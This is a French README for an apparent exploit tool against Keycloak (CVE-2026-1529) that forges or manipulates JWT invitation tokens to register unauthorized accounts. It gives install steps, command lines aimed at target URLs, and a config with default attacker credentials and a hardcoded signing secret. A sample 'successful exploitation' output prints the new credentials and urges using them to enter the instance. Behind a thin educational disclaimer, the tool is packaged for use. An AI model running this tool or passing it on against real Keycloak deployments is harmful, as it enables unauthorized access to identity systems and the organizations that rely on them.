
Keycloak : Enregistrement d'organisation non autorisé via une validation inappropriée du jeton d'invitation
CVE-2026-1529 : Keycloak - Enregistrement d'organisation non autorisé via une validation incorrecte du jeton d'invitation
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal.
Cet outil démontre une vulnérabilité critique dans Keycloak (CVE-2026-1529) qui permet un enregistrement d'organisation non autorisé via une validation incorrecte du jeton d'invitation JWT. L'exploit manipule les jetons d'invitation pour obtenir un accès non autorisé aux instances Keycloak.
Détails de la vulnérabilité :
# Cloner le dépôt
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Créer un environnement virtuel
python3 -m venv venv
source venv/bin/activate # Sur Windows : venv\Scripts\activate
# Installer les dépendances
pip install -r requirements.txt
# Créer la structure de répertoires
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Télécharger les fichiers depuis les versions ou copier manuellement
# Puis installer les dépendances
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Script d'exploitation principal
├── requirements.txt # Dépendances Python
├── README.md # Ce fichier
├── config/
│ └── default_config.json # Fichier de configuration
├── utils/
│ ├── __init__.py # Initialiseur de paquet
│ ├── http_utils.py # Utilitaires client HTTP
│ ├── jwt_utils.py # Manipulation JWT
│ └── crypto_utils.py # Utilitaires cryptographiques
├── logs/ # Journaux générés automatiquement
└── output/
└── reports/ # Rapports d'exploitation
python3 keycloak-exploit.py https://target-keycloak.com
# Avec un jeton d'invitation personnalisé
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Avec un ID d'organisation personnalisé
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Avec un fichier de configuration personnalisé
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Activer les journaux de débogage
python3 keycloak-exploit.py -d https://target.com
# Afficher l'aide
python3 keycloak-exploit.py -h
# Afficher la version
python3 keycloak-exploit.py -v
Modifiez config/default_config.json pour personnaliser les paramètres d'exploitation :
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
L'exploit fonctionne selon les étapes suivantes :
Vérification de la vulnérabilité
Génération/Manipulation du jeton
Enregistrement de l'utilisateur
Vérification de la connexion
Génération du rapport
output/reports/┌─────────────────┐
│ Vérification │
│ cible │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Génération/ │
│ Obtention jeton│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Manipulation │
│ du jeton │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Enregistrement │
│ utilisateur │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Test de │
│ connexion │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Génération │
│ du rapport │
└─────────────────┘
============================================================
RÉSULTATS DE L'EXPLOITATION CVE-2026-1529
============================================================
✓ La cible est vulnérable à CVE-2026-1529
🎯 EXPLOITATION RÉUSSIE !
Nom d'utilisateur : admin_user_2026
Mot de passe : KeycloakCVE2026!
E-mail : [email protected]
Lien de connexion : https://target.com/realms/master/account
📄 Rapport sauvegardé dans : output/reports/exploit_report_20260211_050507.txt
🔐 Utilisez les identifiants fournis pour accéder à l'instance Keycloak !
⚠️ Cela démontre un accès non autorisé dû à CVE-2026-1529
============================================================
par f3ds cr3w est, 2002
============================================================
Un rapport détaillé est sauvegardé dans output/reports/ contenant :
Les journaux sont sauvegardés dans le répertoire logs/ avec des informations d'exécution détaillées.
Solution :
# Assurez-vous d'être dans le bon répertoire
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
Solution :
# Assurez-vous que le répertoire config existe
mkdir -p config
# Copiez ou créez default_config.json dans config/
Solution : Cela a été corrigé dans la dernière version. Mettez à jour urllib3 :
pip install --upgrade urllib3
Raisons possibles :
Solution :
# Activez les journaux de débogage pour voir plus de détails
python3 keycloak-exploit.py -d https://target.com
Solution :
# Augmentez le délai d'expiration dans config/default_config.json
"timeout": 60
Activez la journalisation détaillée pour résoudre les problèmes :
python3 keycloak-exploit.py -d https://target.com
Cela affichera :
⚠️ AVIS LÉGAL IMPORTANT ⚠️
Cet outil est fourni à des fins ÉDUCATIVES et de TESTS DE SÉCURITÉ AUTORISÉS uniquement.
En utilisant cet outil, vous acceptez que :
1. Vous utiliserez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels
vous avez une autorisation écrite explicite de tester.
2. Vous comprenez que l'accès non autorisé à des systèmes informatiques est illégal
en vertu de lois incluant, sans s'y limiter :
- Computer Fraud and Abuse Act (CFAA) - États-Unis
- Computer Misuse Act - Royaume-Uni
- Législation similaire dans d'autres pays
3. Vous acceptez l'entière responsabilité de toute conséquence découlant de l'utilisation de cet outil.
4. Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou
de tout dommage causé par cet outil.
5. Cet outil est fourni « TEL QUEL » sans garantie d'aucune sorte.
UTILISATION À VOS PROPRES RISQUES. L'ACCÈS NON AUTORISÉ EST UN CRIME.
Les contributions sont les bienvenues ! Veuillez suivre ces directives :
git checkout -b feature/improvement)git commit -am 'Ajouter une nouvelle fonctionnalité')git push origin feature/improvement)# Clonez votre fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Créez un environnement virtuel
python3 -m venv venv
source venv/bin/activate
# Installez les dépendances
pip install -r requirements.txt
# Faites vos modifications et testez
python3 keycloak-exploit.py https://test-target.com
Créé par : f3ds cr3w est, 2002
Pour toute question, problème ou préoccupation de sécurité :
Rappelez-vous : Pratiquez toujours la divulgation responsable et le hacking éthique. Réf : https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation Fait avec ❤️ par f3ds cr3w est, 2002
| Argument | Court | Description |
|---|
target | - | URL Keycloak cible (obligatoire) |
--token | -t | Jeton d'invitation personnalisé |
--org-id | -o | ID d'organisation personnalisé |
--config | -c | Chemin vers le fichier de configuration |
--debug | -d | Activer les journaux de débogage |
--version | -v | Afficher les informations de version |
--help | -h | Afficher le message d'aide |
| Section | Paramètre | Description | Défaut |
|---|
exploit | default_username | Nom d'utilisateur pour l'enregistrement | admin_user_2026 |
exploit | default_password | Mot de passe pour l'enregistrement | KeycloakCVE2026! |
exploit | default_email | E-mail pour l'enregistrement | [email protected] |
exploit | timeout | Délai d'expiration des requêtes HTTP (secondes) | 30 |
exploit | max_retries | Nombre maximal de tentatives HTTP | 3 |
jwt | algorithm | Algorithme de signature JWT | HS256 |
jwt | secret_key | Clé secrète JWT | Personnalisé |
jwt | token_expiry | Expiration du jeton (secondes) | 3600 |